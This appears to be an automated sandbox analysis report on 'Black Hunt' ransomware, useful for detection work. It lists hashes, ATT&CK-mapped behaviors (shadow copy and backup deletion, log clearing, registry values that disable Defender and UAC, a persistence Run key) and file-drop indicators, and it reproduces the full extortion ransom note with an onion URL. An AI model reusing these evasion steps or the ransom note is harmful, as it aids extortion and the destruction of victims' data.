0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df

Analysis

max time kernel
121s
max time network
125s
platform
windows7_x64
resource
win7-20231129-en
resource tags

arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
submitted
18/01/2024, 22:29

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General

Target

0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe
Size

707KB
MD5

4e903e9b097a09742b50c518bc787447
SHA1

1651074a1adfa8ae8b2d99f09de00861a2100f15
SHA256

0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df
SHA512

cf7b3e0cc4318491eaa97bebf634ce190a5568f85eb283ae1e8fac38b42ef7db5620d99a3006bc8a0db5408a406169a63df9db7027f79052ab4016a0340360d3
SSDEEP

6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1w8mvnh:6uaTmkZJ+naie5OTamgEoKxLWbYh

Score

10^/10

evasion persistence ransomware trojan

Malware Config

Extracted

Path

C:\ProgramData\#BlackHunt_ReadMe.hta

Ransom Note

<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="x-ua-compatible" content="ie=9"><meta charset="UTF-8"><HTA:APPLICATION icon="#" WINDOWSTATE="maximize" scroll="no" SELECTION="yes" contextmenu="no" caption="yes" SYSMENU="no" innerBorder="yes" SHOWINTASKBAR="yes" singleInstance="yes" /><meta name="viewport" content="width = device-width,initial-scale=1.0"><style>a,abbr,acronym,address,applet,article,aside,audio,b,big,blockquote,body,canvas,caption,center,cite,code,dd,del,details,dfn,div,dl,dt,em,embed,fieldset,figcaption,figure,footer,form,h1,h2,h3,h4,h5,h6,header,hgroup,html,i,iframe,img,ins,kbd,label,legend,li,mark,menu,nav,object,ol,output,p,pre,q,ruby,s,samp,section,small,span,strike,strong,sub,summary,sup,table,tbody,td,tfoot,th,thead,time,tr,tt,u,ul,var,video{margin:0;padding:0;border:0;font-size:100%;font:inherit;vertical-align:baseline}article,aside,details,figcaption,figure,footer,header,hgroup,menu,nav,section{display:block}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:'';content:none}table{border-collapse:collapse;border-spacing:0}</style><style>body,html{background-color:#dadada;font-family:'Segoe UI',Tahoma,Geneva,Verdana,sans-serif;font-weight:600;font-size:16px}a{text-decoration:none;color:#0483ab}div.header{margin-top:15px;margin-bottom:5px;width:100%}div.header h1{width:97%;text-align:left;font-size:30px;font-weight:900;margin:auto}div.header h1 span#black{display:inline-block;color:#000;margin-right:0;padding:2px 2px}div.header h1 span#hunter{display:inline-block;color:#e90303;background-color:#000;padding:2px 8px;margin-left:0}div.header h1 span#hunter span#version{font-size:12px}div.message div.head-encrypted-msg{width:100%}div.message div.head-encrypted-msg h1{font-size:330%;width:97%;margin:auto;text-align:center;font-weight:700}div.message div.head-encrypted-msg h1 span{display:inline-block;color:#000;background-color:#e90303;padding:0 8px 0 8px;margin-right:3px}div.message div.head-attention-msg{width:97%;margin:auto;text-align:center;margin-top:1%;border:1px solid #e90303;background-color:#f1caca;border-radius:5px;font-size:250%;padding-top:10px;padding-bottom:10px}div.message div.head-attention-msg p{margin-bottom:.5%}div.message div.head-attention-msg p span{color:#e90303}div.content{margin:auto;margin-top:2%}div.content div.content-head-msg{font-size:32px;text-align:left;font-weight:600}div.content div.content-boxes{margin:auto;margin-top:2%}div.content div.box{width:96%;margin:auto;border-radius:5px;margin-bottom:30px}div.content div.content-left-box{background-color:#c5cfd8;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #1878cf}div.content div.content-left-box h3.left-box-title{background-color:#1878cf;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-left-box div.content-contact-directly *{font-weight:600!important;line-height:1.4em}div.content div.content-left-box div.content-contact-directly h4{font-size:24px;font-weight:500;margin-top:8px}div.content div.content-left-box div.content-contact-directly h4#tox{font-weight:600;display:inline-block;margin-left:3px}div.content div.content-left-box div.content-contact-directly div.tox-id{margin-left:6%}div.content div.content-left-box div.content-contact-directly h4#tox-id{font-size:24px}div.content div.content-left-box div.content-contact-directly p#tox-id-p{font-size:16px}div.content div.content-left-box div.content-contact-directly h4#download-tox{display:inline-block;margin-left:6%}div.content div.content-left-box div.content-contact-directly p#download-tox-p{display:inline-block}div.content div.content-left-box div.content-contact-directly h4#email{display:inline-block;font-weight:600;margin-left:3px}div.content div.content-left-box div.content-contact-directly p#email-p{display:inline-block;font-size:24px;margin-left:8px}div.content div.content-left-box div.content-contact-directly h4#user-id{font-weight:500;margin-left:3px}div.content div.content-left-box div.content-contact-directly h4#user-id span{color:#e90303}div.content div.content-left-box div.content-contact-tor{margin-top:50px;font-weight:600!important}div.content div.content-left-box div.content-contact-tor h3{font-size:24px}div.content div.content-left-box div.content-contact-tor h3 span{color:#e90303}div.content div.content-left-box div.content-contact-tor div.content-tor-inside{margin-left:6;margin-top:10px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p{margin-top:8px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p img{position:relative;bottom:-3px}div.content div.content-right-box{background-color:#efb0b0;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #e90303}div.content div.content-right-box h3.right-box-title{background-color:#e90303;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-right-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p span{color:#e90303;font-weight:700;font-size:24px}</style><title>Black Hunt</title></head><body><div class="header"><h1><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAIMAAAAWCAYAAADjNi+WAAAACXBIWXMAAC4jAAAuIwF4pT92AAALpWlUWHRYTUw6Y29tLmFkb2JlLnhtcAAAAAAAPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4gPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iQWRvYmUgWE1QIENvcmUgNi4wLWMwMDIgNzkuMTY0NDYwLCAyMDIwLzA1LzEyLTE2OjA0OjE3ICAgICAgICAiPiA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPiA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0RXZ0PSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VFdmVudCMiIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczpwaG90b3Nob3A9Imh0dHA6Ly9ucy5hZG9iZS5jb20vcGhvdG9zaG9wLzEuMC8iIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9iZS5jb20vdGlmZi8xLjAvIiB4bWxuczpleGlmPSJodHRwOi8vbnMuYWRvYmUuY29tL2V4aWYvMS4wLyIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHhtcDpDcmVhdGVEYXRlPSIyMDIyLTEwLTEzVDEyOjMyOjAyKzAzOjMwIiB4bXA6TWV0YWRhdGFEYXRlPSIyMDIzLTA0LTA3VDA0OjIxOjI1KzA0OjMwIiB4bXA6TW9kaWZ5RGF0ZT0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgZGM6Zm9ybWF0PSJpbWFnZS9wbmciIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6NGRiOTQ5OGItYTg5Mi0yMTRjLTliYzgtZTZlMDM3ZTYzYmJkIiB4bXBNTTpEb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6ZGVlODIyNjgtMDA3Ni0wNDQ2LWFjMGEtMzk2OTY3MzA0YTdjIiB4bXBNTTpPcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQyMWY2MmY3ZWI1IiBwaG90b3Nob3A6Q29sb3JNb2RlPSIzIiBwaG90b3Nob3A6SUNDUHJvZmlsZT0ic1JHQiBJRUM2MTk2Ni0yLjEiIHRpZmY6T3JpZW50YXRpb249IjEiIHRpZmY6WFJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6WVJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6UmVzb2x1dGlvblVuaXQ9IjIiIGV4aWY6Q29sb3JTcGFjZT0iMSIgZXhpZjpQaXhlbFhEaW1lbnNpb249IjQ0OSIgZXhpZjpQaXhlbFlEaW1lbnNpb249Ijg5Ij4gPHhtcE1NOkhpc3Rvcnk+IDxyZGY6U2VxPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0iY3JlYXRlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDoyNzIzMDY2Ny1kMzRkLWUyNGYtYmU1NS0wNDIxZjYyZjdlYjUiIHN0RXZ0OndoZW49IjIwMjItMTAtMTNUMTI6MzI6MDIrMDM6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIvPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0ic2F2ZWQiIHN0RXZ0Omluc3RhbmNlSUQ9InhtcC5paWQ6NzU5MzVkMTMtYjM0OS02ZTRiLWIwODctYzc5ZTJmZGNiNzgwIiBzdEV2dDp3aGVuPSIyMDIyLTEwLTEzVDEyOjMyOjE0KzAzOjMwIiBzdEV2dDpzb2Z0d2FyZUFnZW50PSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHN0RXZ0OmNoYW5nZWQ9Ii8iLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249InNhdmVkIiBzdEV2dDppbnN0YW5jZUlEPSJ4bXAuaWlkOmJiMmZiMmMyLWRjNDUtMzE0Yy1iMmQxLWRjNzFlZGUwNWJlYSIgc3RFdnQ6d2hlbj0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgc3RFdnQ6c29mdHdhcmVBZ2VudD0iQWRvYmUgUGhvdG9zaG9wIDIxLjIgKFdpbmRvd3MpIiBzdEV2dDpjaGFuZ2VkPSIvIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJjb252ZXJ0ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImZyb20gYXBwbGljYXRpb24vdm5kLmFkb2JlLnBob3Rvc2hvcCB0byBpbWFnZS9wbmciLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249ImRlcml2ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImNvbnZlcnRlZCBmcm9tIGFwcGxpY2F0aW9uL3ZuZC5hZG9iZS5waG90b3Nob3AgdG8gaW1hZ2UvcG5nIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJzYXZlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDo0ZGI5NDk4Yi1hODkyLTIxNGMtOWJjOC1lNmUwMzdlNjNiYmQiIHN0RXZ0OndoZW49IjIwMjMtMDQtMDdUMDQ6MjE6MjUrMDQ6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIgc3RFdnQ6Y2hhbmdlZD0iLyIvPiA8L3JkZjpTZXE+IDwveG1wTU06SGlzdG9yeT4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6YmIyZmIyYzItZGM0NS0zMTRjLWIyZDEtZGM3MWVkZTA1YmVhIiBzdFJlZjpkb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6YTU3NzljMGQtYzI3Zi05ZjQ2LWJmMjgtYjQ2MzIzZjQ5ZjQxIiBzdFJlZjpvcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQy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 " alt=""></h1></div><div class="message"><div class="head-encrypted-msg"><h1>YOUR<span>WHOLE NETWORK</span>HAS BEEN PENETRATED BY<span>Black Hunt</span>!</h1></div><div class="head-attention-msg"><p>We also have uploaded your sensitive data, which we Will leak or sell in case of no cooperation!</p><p><span>Restore your data possible only buying private key from us</span></p></div></div><div class="content"><div class="content-boxes"><div class="content-right-box box"><h3 class="right-box-title">ATTENTION</h3><p>remember, there are many middle man services out there pretending that they can recover or decrypt your files , whom neither will contact us or scam you, Remember we are first and last solution for your files otherwise you will only waste money and time</p><p>trying to decrypt your files without our decryptor and through third party softwares will make your files completely useless, there is no third party decryptor since we are the only key holders</p><p>we have uploaded many critical data and information from your machines , we won't leak or sell any of them in Case of successful Corporation, however if we don't hear from you in 14 days we will either sell or leak your data in many forums</p><p></p><p>Remain all of your files untouched, do not change their name, extension and...</p></div><div class="content-left-box box"><h3 class="left-box-title">CONTACT US</h3><p>Your system is offline. in order to contact us you can email this address<span> [email protected] </span>this ID (<span> uzdnDSA69dPV38Xf </span>) for the title of your email.</p><p>If you weren't able to contact us whitin 24 hours please email:<span> [email protected] </span></p><p>Check your data situation in<a href="#"><span> http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion </span></a></p></div></div></div></body></html>

Emails

[email protected]

URLs

http-equiv="x-ua-compatible"

http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion

Signatures

Deletes NTFS Change Journal 2 TTPs 2 IoCs

The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.

ransomware

Inhibit System Recovery

T1490

Data Destruction

T1485

pid	Process
1244	fsutil.exe
584	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe

Clears Windows event logs 1 TTPs 5 IoCs

evasion ransomware

Indicator Removal

T1070

pid	Process
2188	wevtutil.exe
1960	wevtutil.exe
1088	wevtutil.exe
2600	wevtutil.exe
2280	wevtutil.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
1940	bcdedit.exe
3048	bcdedit.exe
2628	bcdedit.exe
1732	bcdedit.exe

Renames multiple (2910) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 2 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
2180	wbadmin.exe
2912	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Deletes itself 1 IoCs

pid	Process
2216	cmd.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe

Enumerates connected drives 3 TTPs 27 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\U:	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe
File opened (read-only)	\??\I:	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe
File opened (read-only)	\??\K:	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe
File opened (read-only)	\??\X:	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe
File opened (read-only)	\??\L:	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe
File opened (read-only)	\??\Z:	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\Y:	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe
File opened (read-only)	\??\S:	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe
File opened (read-only)	\??\N:	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe
File opened (read-only)	\??\R:	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe
File opened (read-only)	\??\A:	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe
File opened (read-only)	\??\T:	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe
File opened (read-only)	\??\P:	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe
File opened (read-only)	\??\J:	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe
File opened (read-only)	\??\B:	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe
File opened (read-only)	\??\M:	fsutil.exe
File opened (read-only)	\??\H:	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe
File opened (read-only)	\??\F:	fsutil.exe
File opened (read-only)	\??\G:	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe
File opened (read-only)	\??\M:	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe
File opened (read-only)	\??\F:	fsutil.exe
File opened (read-only)	\??\Q:	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe
File opened (read-only)	\??\W:	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe
File opened (read-only)	\??\E:	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe
File opened (read-only)	\??\O:	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe
File opened (read-only)	\??\V:	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
2	ip-api.com

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\#BlackHunt_BG.jpg"	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File created	C:\Program Files\VideoLAN\VLC\locale\uk\LC_MESSAGES\#BlackHunt_Private.key	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\New_Skins.url	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\visualization\#BlackHunt_ReadMe.txt	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\#BlackHunt_Private.key	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\olh001.htm	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe
File created	C:\Program Files\VideoLAN\VLC\locale\pt_BR\#BlackHunt_ReadMe.hta	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\dropins\#BlackHunt_ReadMe.hta	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\com.jrockit.mc.feature.rcp.ja_5.5.0.165303\#BlackHunt_ReadMe.txt	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.rcp_4.4.0.v20141007-2301\META-INF\#BlackHunt_ReadMe.txt	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.artifact.repository.nl_zh_4.4.0.v20140623020002.jar	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\Modules\org-openide-nodes.xml	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe
File opened for modification	C:\Program Files\Java\jre7\lib\management\management.properties	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\photoedge_selectionsubpicture.png	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\lib\ext\#BlackHunt_ReadMe.txt	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Asia\Kolkata	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Australia\Lindeman	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe
File created	C:\Program Files (x86)\Google\Update\Download\{8A69D345-D564-463C-AFF1-A69D9E530F96}\106.0.5249.119\#BlackHunt_ReadMe.txt	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\fonts\LucidaBrightDemiBold.ttf	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\configuration\org.eclipse.update\#BlackHunt_Private.key	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe
File created	C:\Program Files\MSBuild\#BlackHunt_Private.key	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe
File created	C:\Program Files\VideoLAN\VLC\locale\nl\#BlackHunt_ReadMe.hta	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\META-INF\#BlackHunt_ReadMe.txt	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\update_tracking\com-sun-tools-visualvm-modules-startup.xml	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe
File created	C:\Program Files\VideoLAN\VLC\locale\pl\#BlackHunt_ReadMe.hta	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe
